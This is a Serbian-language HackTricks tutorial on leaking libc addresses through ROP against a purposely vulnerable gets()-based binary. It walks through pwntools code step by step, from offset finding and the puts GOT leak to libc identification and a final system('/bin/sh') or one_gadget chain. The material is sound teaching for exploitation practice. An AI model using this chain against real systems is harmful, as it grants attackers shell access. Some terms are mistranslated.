Curjenje libc adrese sa ROP
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Brzi Rezime
- Pronađi offset prelivanja
- Pronađi
POP_RDI
gadget,PUTS_PLT
iMAIN
gadgete - Iskoristi prethodne gadgete da curiš adresu u memoriji funkcije puts ili druge libc funkcije i pronađi verziju libc (preuzmi je)
- Sa bibliotekom, izračunaj ROP i iskoristi ga
Ostali tutorijali i binarni fajlovi za vežbanje
Ovaj tutorijal će iskoristiti kod/binarni fajl predložen u ovom tutorijalu: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Još korisnih tutorijala: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Kod
Ime fajla: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Leaking LIBC шаблон
Preuzmite exploit i stavite ga u istu direktoriju kao ranjivi binarni fajl i dajte potrebne podatke skripti:
1- Pronalaženje ofseta
Šablonu je potreban ofset pre nego što nastavi sa exploitom. Ako je bilo koji ofset obezbeđen, izvršiće potrebni kod da ga pronađe (podrazumevano OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Izvršite python template.py
u GDB konzoli će se otvoriti program koji se ruši. Unutar te GDB konzole izvršite x/wx $rsp
da dobijete bajtove koji će prepisati RIP. Na kraju, dobijte offset koristeći python konzolu:
from pwn import *
cyclic_find(0x6161616b)
Nakon pronalaženja ofseta (u ovom slučaju 40) promenite OFFSET promenljivu unutar šablona koristeći tu vrednost.
OFFSET = "A" * 40
Drugi način bi bio da se koristi: pattern create 1000
-- izvršiti do ret -- pattern seach $rsp
iz GEF-a.
2- Pronalaženje Gadžeta
Sada treba da pronađemo ROP gadžete unutar binarnog fajla. Ovi ROP gadžeti će biti korisni za pozivanje puts
kako bismo pronašli libc koja se koristi, a kasnije za pokretanje konačnog eksploita.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
je potreban za pozivanje funkcije puts.
MAIN_PLT
je potreban za ponovo pozivanje main funkcije nakon jedne interakcije da bi se iskoristila prelivanja ponovo (beskonačne runde eksploatacije). Koristi se na kraju svakog ROP-a da ponovo pozove program.
POP_RDI je potreban da prođe parametar u pozvanu funkciju.
U ovom koraku ne morate izvršavati ništa jer će sve biti pronađeno od strane pwntools tokom izvršenja.
3- Pronalaženje libc biblioteke
Sada je vreme da pronađemo koja verzija libc biblioteke se koristi. Da bismo to uradili, iskoristićemo leak adresu u memoriji funkcije puts
i zatim ćemo pretražiti u kojoj verziji biblioteke se nalazi verzija puts na toj adresi.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Da bi to uradili, najvažnija linija izvršenog koda je:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Ovo će poslati neke bajtove dok prepisivanje RIP nije moguće: OFFSET
.
Zatim, postaviće se adresa gadgeta POP_RDI
tako da će sledeća adresa (FUNC_GOT
) biti sačuvana u registru RDI. To je zato što želimo da pozovemo puts proslavljajući mu adresu PUTS_GOT
jer je adresa u memoriji funkcije puts sačuvana u adresi na koju pokazuje PUTS_GOT
.
Nakon toga, biće pozvan PUTS_PLT
(sa PUTS_GOT
unutar RDI) tako da će puts pročitati sadržaj unutar PUTS_GOT
(adresa funkcije puts u memoriji) i odštampati ga.
Na kraju, glavna funkcija se ponovo poziva kako bismo mogli ponovo iskoristiti prelivanje.
Na ovaj način smo prevarili funkciju puts da odštampa adresu u memoriji funkcije puts (koja se nalazi u libc biblioteci). Sada kada imamo tu adresu možemo pretražiti koja verzija libc se koristi.
Pošto iskorišćavamo neki lokalni binarni fajl, nije potrebno da otkrijemo koja verzija libc se koristi (samo pronađite biblioteku u /lib/x86_64-linux-gnu/libc.so.6
).
Ali, u slučaju udaljenog eksploata, objasniću ovde kako možete to da pronađete:
3.1- Pretraživanje verzije libc (1)
Možete pretražiti koja biblioteka se koristi na veb stranici: https://libc.blukat.me/
Takođe će vam omogućiti da preuzmete otkrivenu verziju libc
3.2- Pretraživanje verzije libc (2)
Takođe možete uraditi:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Ovo će potrajati, budite strpljivi.
Za ovo da bi radilo potrebni su nam:
- Ime libc simbola:
puts
- Otkazana libc adresa:
0x7ff629878690
Možemo da utvrdimo koja libc se najverovatnije koristi.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Dobijamo 2 podudaranja (trebalo bi da probate drugo ako prvo ne radi). Preuzmite prvo:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Kopirajte libc iz libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
u naš radni direktorijum.
3.3- Druge funkcije za leak
puts
printf
__libc_start_main
read
gets
4- Pronalaženje libc adrese zasnovane na i iskorišćavanje
U ovom trenutku treba da znamo koja se libc biblioteka koristi. Pošto iskorišćavamo lokalni binarni fajl, koristiću samo: /lib/x86_64-linux-gnu/libc.so.6
Dakle, na početku template.py
promenite libc promenljivu na: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Postavite putanju do biblioteke kada je znate
Davanjem putanje do libc biblioteke, ostatak eksploata će biti automatski izračunat.
Unutar get_addr
funkcije, osnovna adresa libc će biti izračunata:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Imajte na umu da konačna libc osnovna adresa mora završavati sa 00. Ako to nije vaš slučaj, možda ste iscurili pogrešnu biblioteku.
Zatim, adresa funkcije system
i adresa do stringa "/bin/sh" će biti izračunate iz osnovne adrese libc i date libc biblioteci.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Konačno, eksploit za izvršavanje /bin/sh će biti pripremljen i poslat:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Hajde da objasnimo ovaj konačni ROP.
Poslednji ROP (rop1
) je ponovo pozvao glavnu funkciju, tako da možemo ponovo iskoristiti overflow (zato je OFFSET
ovde ponovo). Zatim, želimo da pozovemo POP_RDI
koji pokazuje na adresu "/bin/sh" (BINSH
) i pozovemo system funkciju (SYSTEM
) jer će adresa "/bin/sh" biti prosleđena kao parametar.
Na kraju, adresa funkcije exit je pozvana tako da proces izlazi lepo i ne generiše se nikakva upozorenja.
Na ovaj način, exploit će izvršiti _/bin/sh_** shell.**
4(2)- Korišćenje ONE_GADGET
Takođe možete koristiti ONE_GADGET da dobijete shell umesto korišćenja system i "/bin/sh". ONE_GADGET će pronaći unutar libc biblioteke neki način da dobije shell koristeći samo jednu ROP adresu.
Međutim, obično postoje neka ograničenja, najčešća i lako izbegnuta su kao [rsp+0x30] == NULL
. Pošto kontrolišete vrednosti unutar RSP, samo treba da pošaljete još nekoliko NULL vrednosti kako bi se ograničenje izbeglo.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FILE
Možete pronaći šablon za iskorišćavanje ove ranjivosti ovde:
Uobičajeni problemi
MAIN_PLT = elf.symbols['main'] nije pronađen
Ako simbol "main" ne postoji. Tada možete pronaći gde je glavni kod:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
i ručno postavite adresu:
MAIN_PLT = 0x401080
Puts nije pronađen
Ako binarni fajl ne koristi Puts, trebali biste proveriti da li koristi
sh: 1: %s%s%s%s%s%s%s%s: nije pronađen
Ako pronađete ovu grešku nakon što ste kreirali sve eksploite: sh: 1: %s%s%s%s%s%s%s%s: nije pronađen
Pokušajte da oduzmete 64 bajta od adrese "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.